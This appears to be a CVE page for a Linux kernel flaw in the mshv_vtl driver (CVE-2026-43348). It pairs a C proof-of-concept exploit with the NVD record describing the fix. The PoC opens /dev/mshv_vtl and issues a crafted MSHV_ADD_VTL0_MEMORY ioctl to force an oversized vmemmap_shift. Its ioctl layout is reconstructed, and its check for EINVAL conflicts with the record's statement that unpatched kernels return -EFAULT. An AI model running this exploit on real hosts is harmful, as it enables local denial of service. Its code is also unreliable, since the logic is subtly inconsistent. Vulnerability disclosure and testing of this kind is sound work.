CVE-2026-43348

/* * PoC for CVE-2026-43348 * Triggering vmemmap_shift overflow in mshv_vtl driver. * This requires a system with mshv_vtl support and appropriate hardware. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <errno.h> // IOCTL definitions based on mshv_vtl implementation #define MSHV_IOCTL_TYPE 0xB8 #define MSHV_ADD_VTL0_MEMORY _IOW(MSHV_IOCTL_TYPE, 0x01, struct mshv_vtl_mem_args) struct mshv_vtl_mem_args { unsigned long long gpa; // Guest Physical Address unsigned long long size; // Size of memory region unsigned long long source; // Source mapping }; int main() { int fd = -1; int ret = -1; struct mshv_vtl_mem_args args; // Open the mshv_vtl device fd = open("/dev/mshv_vtl", O_RDWR); if (fd < 0) { perror("[-] Failed to open /dev/mshv_vtl"); printf("[-] Ensure you have the required permissions and hardware support.\n"); return 1; } printf("[+] Device opened successfully.\n"); // Setup arguments to trigger the vulnerability // Use a highly aligned address (e.g., 0x800000000000) which has many trailing zeros. // This causes vmemmap_shift calculation to exceed MAX_FOLIO_ORDER. args.gpa = 0x800000000000ULL; args.size = 0x10000000ULL; // 256MB size args.source = 0; printf("[*] Attempting to add VTL0 memory with GPA: 0x%llx\n", args.gpa); // Invoke the IOCTL ret = ioctl(fd, MSHV_ADD_VTL0_MEMORY, &args); if (ret < 0) { if (errno == EINVAL) { printf("[+] IOCTL failed with EINVAL. The kernel likely rejected the folio size.\n"); printf("[+] Vulnerability triggered (check dmesg for WARNING).\n"); } else { perror("[-] IOCTL failed with unexpected error"); } } else { printf("[-] IOCTL succeeded. The system might be patched or alignment requirements differ.\n"); } close(fd); return 0; }

{"cve": {"id": "CVE-2026-43348", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-08T14:16:44.890", "lastModified": "2026-05-15T19:27:15.813", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nmshv_vtl: Fix vmemmap_shift exceeding MAX_FOLIO_ORDER\n\nWhen registering VTL0 memory via MSHV_ADD_VTL0_MEMORY, the kernel\ncomputes pgmap->vmemmap_shift as the number of trailing zeros in the\nOR of start_pfn and last_pfn, intending to use the largest compound\npage order both endpoints are aligned to.\n\nHowever, this value is not clamped to MAX_FOLIO_ORDER, so a\nsufficiently aligned range (e.g. physical range\n[0x800000000000, 0x800080000000), corresponding to start_pfn=0x800000000\nwith 35 trailing zeros) can produce a shift larger than what\nmemremap_pages() accepts, triggering a WARN and returning -EINVAL:\n\n WARNING: ... memremap_pages+0x512/0x650\n requested folio size unsupported\n\nThe MAX_FOLIO_ORDER check was added by\ncommit 646b67d57589 (\"mm/memremap: reject unreasonable folio/compound\npage sizes in memremap_pages()\").\n\nFix this by clamping vmemmap_shift to MAX_FOLIO_ORDER so we always\nrequest the largest order the kernel supports, in those cases, rather\nthan an out-of-range value.\n\nAlso fix the error path to propagate the actual error code from\ndevm_memremap_pages() instead of hard-coding -EFAULT, which was\nmasking the real -EINVAL return."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "7.0.2", "matchCriteriaId": "1BD58F1E-7C20-4C0D-92A2-FAC5CBFBE8A8"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/404cd6bffe17e25e0f94ed2775ffdd6cd10ac3fd", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/a142ca4b6481e71498712800b20e0c0fcf02843b", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}